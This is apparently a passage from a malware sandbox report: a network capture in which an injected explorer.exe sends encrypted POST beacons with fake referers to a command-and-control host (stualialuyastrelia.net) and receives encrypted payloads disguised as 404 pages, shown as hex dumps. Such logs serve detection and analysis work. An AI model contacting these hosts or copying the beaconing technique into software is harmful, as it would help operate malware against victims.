Dec 2, 2023 18:01:38.090984106 CET	173	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 8b f7 18 fb Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bOj{]pPYkId6&
Dec 2, 2023 18:01:38.640119076 CET	472	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 02 Dec 2023 17:01:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=59d49d42f286f204d2e0822fe08aa5a1\|149.18.24.110\|1701536498\|1701536498\|0\|1\|0; path=/; domain=.liuliuoumumy.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=149.18.24.110; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49713	91.215.85.17	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:01:39.011873960 CET	337	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sbapcbgqcdatcqed.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 369 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:39.011991024 CET	423	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 f3 df 33 ae Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bO3rfGF%ron{IGsM5f.YC=/e)-Z7cu)EVZ^=G==u,cML5_lIK/6T,PYlV
Dec 2, 2023 18:01:39.259974957 CET	1340	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 36 36 0d 0a 18 00 00 00 1f 3d 5c a8 37 66 30 7c 67 57 e9 d9 8c f4 ed 35 70 40 c7 45 89 0c 8a a1 00 37 cc 03 00 34 6f 8a 38 01 00 00 00 02 00 9e 03 00 00 8b 3e 6c 0d a7 1b 52 86 af 2f 77 aa 83 0a 43 00 39 77 0d e0 2f 81 e6 89 73 59 a7 7d 68 54 09 6d 9a 1d 31 84 ec ba e2 a7 40 9f 98 15 d4 f0 30 2a 63 2f 26 3c c7 4d 8c 99 39 6c 3d 53 47 c2 9e 39 be 29 8d 28 26 61 f2 3c 8d ce 02 b5 cf 78 62 e5 a5 c1 90 5c 2d ab ee 05 93 38 52 fe 4e 35 05 dc 44 49 ab a0 3f 72 54 62 f6 a4 60 d1 17 4b 2b 97 4b 52 9a 18 6b 6f 52 3a dc ee 4b ce a5 5c 42 10 ea f6 7a fe 3c b9 4c 8c 72 cf 3f 43 a1 b2 6f 0a 0a ca 4e 25 6f 4c 3a 3d b2 5c e8 84 fd bc 6d e2 dc a1 a7 f4 73 93 20 fc 0c 82 88 12 f7 a3 ef 06 14 ad 02 3a 46 8a 0d a9 07 fa 67 45 f6 23 fc 4b 2c be 78 bf 55 36 4c 3d f5 3c 42 3e 7d e8 28 7a 3a 34 d7 41 b4 90 2c a6 59 58 e5 62 09 eb 95 5a b7 ba c5 09 16 be 03 bb 2b 37 b1 3e a1 b3 1b c7 8b ef 77 04 77 3f 6c df 89 82 9b 28 97 e9 b0 ea 24 de c0 49 60 55 8c df 1a 73 e8 78 31 3e 8b 58 94 82 3e 37 59 63 c3 36 e3 3a 2f b3 b6 09 fb 7f f3 8f 1b fc 26 28 bc fd 33 3f 89 5e bf f1 0e 63 62 99 63 9d 20 36 fe f0 a2 86 2c 4b 78 f2 b4 2c d4 ce 13 c4 2d ca 95 3a d9 64 6d 54 b3 5c 76 2c 4e 89 f7 3d 58 4d f5 12 8b 75 0c f8 cd 2b 7d 30 c0 2b fe 21 2a 7f 15 6d 3f 16 9e 01 b5 69 eb 9d ed 8d ee 41 d5 45 24 19 4b 1f 52 f1 9d 79 17 9b a4 e5 ab ea fc 39 44 e6 f0 63 b3 34 62 01 f0 92 0e 5e fc fd 8a c8 9b 10 5f 47 d8 54 31 a2 2b c6 4d 36 cd 60 df d8 4f c5 44 25 78 20 ef 1b 08 ad 5d 35 d1 7a 05 c7 57 dd b3 46 91 4a 01 92 a0 31 f3 b6 5f 99 74 c0 c9 f3 12 b1 02 66 86 b1 ad f1 8b 14 d9 ea 1a 24 e9 4e d1 15 f3 a9 1c c4 16 d5 e6 00 a7 09 17 b6 de 40 6b c3 fd cf f3 3b 5b 4a 76 fb 4d fa 6a d1 2c c1 e0 7e 1b 2b c0 11 6e b8 9d 9a fa 03 03 c5 6c 91 63 12 49 53 b1 0f 30 36 77 1f f7 e6 87 ad 05 de 93 db fc 4e f1 69 be e5 e3 9e e3 56 da ef ef 8a c8 40 39 ae 15 4f ce b3 12 7c 8e 6a 18 41 66 35 99 7e 83 84 08 cd ee cf cd 9b da 0d 58 73 6c 8a 96 03 37 fa 43 43 fe a8 50 75 48 e9 60 17 4c aa 25 df a1 a9 6a b9 d6 d6 a4 62 e8 a9 b7 76 79 f1 50 93 7c 2c e6 d0 49 56 e1 d6 47 59 19 7d 27 84 22 66 13 de 9e 1f a0 7c 85 2b dc ef 24 3b 92 33 8d a6 52 d2 8e 29 80 d0 f3 4f b5 e2 72 22 4d 9a 70 ea 84 bd 7e 69 94 5b c4 f6 01 42 7c ee a7 84 cd 7a 58 39 62 79 cf f7 6f e9 d6 eb 85 59 0e 75 06 d1 04 8d d7 af 40 60 76 57 c4 2d 70 c6 b0 57 ad 50 f1 57 80 a0 a2 04 10 a1 2f 49 6d 26 b4 91 24 df 14 8f b6 65 b1 49 70 9f 31 03 96 8c 54 0a 5b 2c 95 a1 8e bd 1f f3 f5 56 7e 79 48 59 a9 3d 78 ed 6f 4f 33 13 20 7a ad f0 83 08 17 2f f1 27 a6 d0 f2 c0 9d 2a 19 c8 4b 73 42 fb 6d 8e 46 46 5e 76 11 29 3e c1 4b 58 80 22 17 75 a5 9a cb a2 29 73 76 ff 45 a7 3e 33 23 bd eb 32 16 b9 e2 67 6e f1 5c 47 79 b8 5a de 69 7e 2e bf 3c 4d bb fb 2a 1b c5 0c e4 c6 60 15 56 38 18 d5 f9 83 7f a0 63 2f d2 f0 46 65 73 fe 74 89 c7 8b 39 3e db 7d 26 f1 9c 20 e5 d4 19 85 0e 0c 22 4b 08 f1 72 8e 91 31 8c 96 e7 6c f0 0e 8c 92 98 23 9c d0 f4 a2 22 95 79 ad ce ab 6e 3e 6f 41 03 5a 3a 9a 95 d0 37 fb 9a d3 c8 f4 ce fb 4e 34 c8 e9 fc 81 7d 09 69 48 c2 51 34 c8 80 56 30 90 62 42 15 4d 94 8d 70 58 ca 82 cd ca 50 85 73 ba 57 b4 49 5d a5 0c 36 7c 83 c6 7d b7 dd 34 16 96 9c e6 03 4d 95 bf a4 56 a4 5e 0d 3c 90 c5 d0 f5 93 fc 59 fe 37 8d 84 3b 7a 0d 21 42 ad ec 32 91 72 d6 70 e7 13 d5 b4 a0 15 fc 01 dd dc 99 a7 49 7c 2b 04 07 27 89 89 72 3c 26 42 c1 db a2 96 1f d8 29 e9 38 70 78 f1 df 3e c7 fb 0b 6a a9 Data Ascii: 1f66=\7f0\|gW5p@E74o8>lR/wC9w/sY}hTm1@0c/&<M9l=SG9)(&a<xb\-8RN5DI?rTb`K+KRkoR:K\Bz<Lr?CoN%oL:=\ms :FgE#K,xU6L=<B>}(z:4A,YXbZ+7>ww?l($I`Usx1>X>7Yc6:/&(3?^cbc 6,Kx,-:dmT\v,N=XMu+}0+!m?iAE$KRy9Dc4b^_GT1+M6`OD%x ]5zWFJ1_tf$N@k;[JvMj,~+nlcIS06wNiV@9O\|jAf5~Xsl7CCPuH`L%jbvyP\|,IVGY}'"f\|+$;3R)Or"Mp~i[B\|zX9byoYu@`vW-pWPW/Im&$eIp1T[,V~yHY=xoO3 z/'KsBmFF^v)>KX"u)svE>3#2gn\GyZi~.<M`V8c/Fest9>}& "Kr1l#"yn>oAZ:7N4}iHQ4V0bBMpXPsWI]6\|}4MV^<Y7;z!B2rpI\|+'r<&B)8px>j
Dec 2, 2023 18:01:39.259987116 CET	1340	IN	Data Raw: 20 b5 83 8f ce c8 66 c5 57 bf b8 da a6 60 38 92 c4 04 f6 cc 46 bd 8a 94 a0 75 c2 1e 20 75 c2 9e a2 e5 8b 43 a3 3d c2 11 a2 a1 3e aa d0 63 97 97 8c 7c 09 4d de d5 1f e8 32 6c 17 91 cd a6 b1 ef 6a bb 2c 61 3c a3 64 65 32 0b b0 07 9a 5a a7 0a 52 44 Data Ascii: fW`8Fu uC=>c\|M2lj,a<de2ZRD@7I~2Xwc`cs&)2G(Nn.X4gx?04rMo[;KX06}]pU]%(9g]F[!'if\Ts)z
Dec 2, 2023 18:01:39.260034084 CET	1340	IN	Data Raw: 96 63 fd 15 63 42 c2 68 9a 8e 32 09 24 6a 18 ac 94 67 d9 21 1c e5 b3 35 16 f1 20 6b bb ed 7e e2 e0 c3 89 5c 2f 86 38 6d e5 35 c5 2a 33 ab b5 af db 01 e8 f6 1e ba 4c 58 f8 c4 54 7e 45 89 54 7e d6 f0 13 e6 7e ca fb 0d 3b cb 4b c4 4d b5 6d 84 f2 bb Data Ascii: ccBh2$jg!5 k~\/8m5*3LXT~ET~~;KMm{8lN4P<mpdhKcgJq4.]R8ej965ck1DsM%P^e)-5W:66$7'}Lj[3;9Oyyw;3W1b()
Dec 2, 2023 18:01:39.260040998 CET	1340	IN	Data Raw: f8 8c fe af 93 87 52 0a 60 74 1d e5 8f 0c f4 23 60 2e 0a 8f fe 46 9c 23 72 df 43 cb 1d 75 d7 59 e5 79 d6 c3 20 68 bb 5f 88 af fa 3e aa 25 70 fe 63 8c a9 96 08 cb cf 36 26 d0 06 9d 5b d1 97 e9 d1 7e 9e 1a 64 16 c3 25 57 9b 12 3e d0 8b 43 76 44 39 Data Ascii: R`t#`.F#rCuYy h_>%pc6&[~d%W>CvD99@l(\e-U #nm,Z\|I W];,B1z~6F Kz}fF 4v9k`HZ/O=Iy1 o>kCT\|?+hkq+R<`6
Dec 2, 2023 18:01:39.260047913 CET	1340	IN	Data Raw: ff 6f 02 f6 2f 2d 90 e2 e6 dd ab 7a a6 da d8 dd 7f cc ba e6 bb 6c b6 fc 1a 83 25 81 96 69 c0 be 97 ed c3 b2 07 73 e7 69 92 a1 3b 73 30 93 b7 36 d6 c9 f3 c7 e3 2e f1 bd cb 0f 61 a0 0a 97 9e 40 5b 5d 23 27 4d 30 31 5f 56 eb 52 fa db 74 ce 6b c7 a6 Data Ascii: o/-zl%isi;s06.a@[]#'M01_VRtkCuv.`lC3M.QdvL_KKo T:>t&^]b-6I_Shah*#\|sW[M:w0F%$yJ>3t\jS\Z!
Dec 2, 2023 18:01:39.260054111 CET	1340	IN	Data Raw: 38 ca 47 40 42 3c 2d e0 9f d1 21 78 38 fb 0d a1 18 5d 14 f5 c9 3a e6 2b e0 95 93 40 cb c8 24 a1 3d fd e8 f3 2b 84 3f d5 6a 1c 15 e8 1e 1a a3 17 33 2c 5a 1f 23 1a 81 2c 71 81 7b 99 ef 8d df 82 9b 69 4e cb 1c 44 24 48 3e 58 b2 2d 88 8f 54 5f f8 d6 Data Ascii: 8G@B<-!x8]:+@$=+?j3,Z#,q{iND$H>X-T_HNf]~B\|Zjx)R\|y2DBR B*Vuqm^ATQ`oVP"oXFwCf-%{+)27O_on]2Ozmw
Dec 2, 2023 18:01:39.260067940 CET	1340	IN	Data Raw: 1b c8 af d6 5e 17 b7 e1 60 fc e9 f8 25 b2 53 d4 f8 1b f0 d4 dd 79 a9 0e cc 03 68 df 76 a8 57 3a ef 8e 06 3c fe fd 2e 1d bd dd ec 83 a3 13 95 99 f5 20 f8 84 5f ac 3f 83 90 d8 f7 b4 db 8c 62 cb 0e 09 f5 0a 08 90 17 85 b3 18 b4 85 60 ed 0c c4 16 d4 Data Ascii: ^`%SyhvW:<. _?b`%h8!?5qIZYv~]8HKgLufxV#sf]:rWWAc:=z[7cS8t~s/ht,txuWHEHYzHZ
Dec 2, 2023 18:01:39.260114908 CET	1340	IN	Data Raw: 69 1e 79 51 23 c4 46 9f 19 ca b8 28 f5 98 c1 e3 1d b8 dd c8 35 9f 98 d3 6e 55 80 6e 66 7a 91 fd e6 42 d8 31 94 c5 8c 53 98 ce 85 80 a6 2c b2 91 9e 9f fd e3 f4 42 b3 db 64 f3 e0 22 04 65 94 51 15 43 ce 5d 19 c8 3e 8c 31 d7 d2 01 01 43 b5 6d 9d a1 Data Ascii: iyQ#F(5nUnfzB1S,Bd"eQC]>1CmB1Jq^vvh`+"?%HjBB_hv[3f\X:,'B?#)K;VdpW4R=sA^g%1\<Gy
Dec 2, 2023 18:01:39.260124922 CET	1340	IN	Data Raw: 1e f9 2f dc 67 49 e8 0b 98 33 a7 4e dd dd 24 35 ca 3f 73 8e 0a 43 8f a2 8c 6f 94 9f 0a ee 8b b2 00 f7 9a 7a 75 24 de bc ee ac a2 6c 54 68 1a ac d7 20 1c cf 01 83 da d0 7d 3b 4f 56 15 f2 09 a2 b4 8c 2c b4 cb af 34 c0 3c a5 16 03 22 0b d1 f4 90 12 Data Ascii: /gI3N$5?sCozu$lTh };OV,4<"\|,ulfJE\|SN0(g_"UXT_J<Zzy%/R,?u\d< JMY0yJEyep7v2l6J]XPxvB+Upf]hV\$r+2
Dec 2, 2023 18:01:39.260137081 CET	1340	IN	Data Raw: aa 02 c0 2f b9 32 2f 7b ff 3e c6 b2 c9 17 74 f1 7e 7e 80 c7 f4 ef 7a d7 dd 0b 67 0a ce 39 0c a9 ec ef 8a 1e d4 97 c8 74 62 e0 91 c6 f8 52 3a 50 aa d9 ff 58 73 c1 c5 44 a2 c4 12 cf 72 29 11 aa 5d 1c 3b b8 41 fe ec 9f ec 98 f0 79 3b 6f 5d 68 f3 a5 Data Ascii: /2/{>t~~zg9tbR:PXsDr)];Ay;o]hDXGligPPK/#[N,]=AwGx(SSAzlyXBl'`?)VgLS\|&Wee\|WU!rivBGA?~,cx
Dec 2, 2023 18:01:40.254420042 CET	337	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gikladteabfsepey.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 133 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:40.501808882 CET	1340	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 e5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 fa cb 1f 9e 1d 09 52 2b b5 c8 83 7b 32 44 f4 ff f9 f8 78 bf c4 0d 13 13 bf 1e e1 92 c4 08 4c c4 08 a0 c1 a1 61 80 dc f5 69 d7 23 17 7e 5f af 9a 9f c8 c9 a0 c1 a9 dd 7a 0d 80 4d 19 e0 2c d5 a9 18 0a f5 96 be 27 51 61 9f d4 3f 7c 88 28 c8 48 6e a1 c1 4a 9a 03 fd ec 9e fa 46 ac 87 2b bd 61 00 1a 59 bf 44 34 fd 79 12 6c 23 6c 29 6c 0a 8d c7 fd f4 0e a4 fb 7e 71 eb 80 f5 1a 78 9b 4a d8 19 ae cc 4f 3b 79 82 ae 0c 96 01 4c 49 56 ad f3 57 9b 11 b9 fa 4d cd 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 17 23 7b 39 26 e7 ac 04 28 84 42 40 77 9b c7 9b 84 f7 3d 66 15 8b 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 8b fa d2 63 1b c3 cb 29 e4 d4 e5 5b 1e 44 ab 1e 26 83 13 ee c3 ca 57 a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 0c 5e ae 63 75 81 7e 90 c7 7d 10 9f d8 3e e1 b0 99 17 9a 8a cd fe 7f 74 79 52 6e 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 6b a9 b4 7b 2f 08 64 5a b1 ae 46 1f 58 02 ab 7a 8f 56 50 e3 cd 74 d8 37 00 9c e0 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 7f dc e5 3e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d b1 2b 28 77 f7 c0 03 45 ef 7a 27 0d c0 e8 64 f9 8d db ec fe cb f4 ab 01 1f 22 5b c5 31 1b ae d6 08 47 7f 20 15 b6 cc dd df 88 2a 02 b7 8d 32 99 05 17 02 6e b9 2a 13 72 1c a9 f7 ae 00 43 2a fb 2e a3 21 40 44 c4 6c 02 9d c9 06 81 73 Data Ascii: 1f66`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGjT05sq733hsE\|WD<P5Q"f=(jC\SMUdT[Up"XJ3Ob>!Z:V?#BSSR+{2DxLai#~_zM,'Qa?\|(HnJF+aYD4yl#l)l~qxJO;yLIVWM#u1yr+Lc1<'i3FHU=hU@#{9&(B@w=fd0QpKk^NTUc)[D&WL\h)^cu~}>tyRnCbzk{/dZFXzVPt7 RH:M>Mpvn%.5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=+(wEz'd"[1G 2nrC*.!@Dls
Dec 2, 2023 18:01:40.880940914 CET	332	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vpbdwisyltl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 214 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:41.128340960 CET	653	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Dec 2, 2023 18:01:41.203169107 CET	334	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hkkasxcqdftqd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 278 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:41.452020884 CET	1340	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 51 2b c6 6c ff 1f 7e 45 f7 ff 78 8d 55 db 24 0d 10 12 b4 1f eb 92 24 5e 52 c5 03 21 f1 a1 61 7e de f5 23 35 19 17 7e 4f af 9a a5 34 d4 a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f4 96 be 25 51 61 9f d4 3f 7c 88 28 c8 48 6b 11 97 4a 9a 07 fd ec 94 b5 64 ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 69 f7 d1 4f 07 79 82 ae 9c 97 54 4c fd f5 ac f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 c2 49 ff 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 94 42 40 9f 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 77 da aa 1b 6f d3 cb 29 32 7e fa 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 4d 67 85 4d 5e ae 03 93 62 27 e4 a6 0d 0d 9f 10 a3 d9 b0 99 5d 84 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 17 b2 fa b0 92 48 a9 b4 bb 89 d9 16 28 d2 ae 10 1f d0 05 ab 7a 8f 82 76 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a d6 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 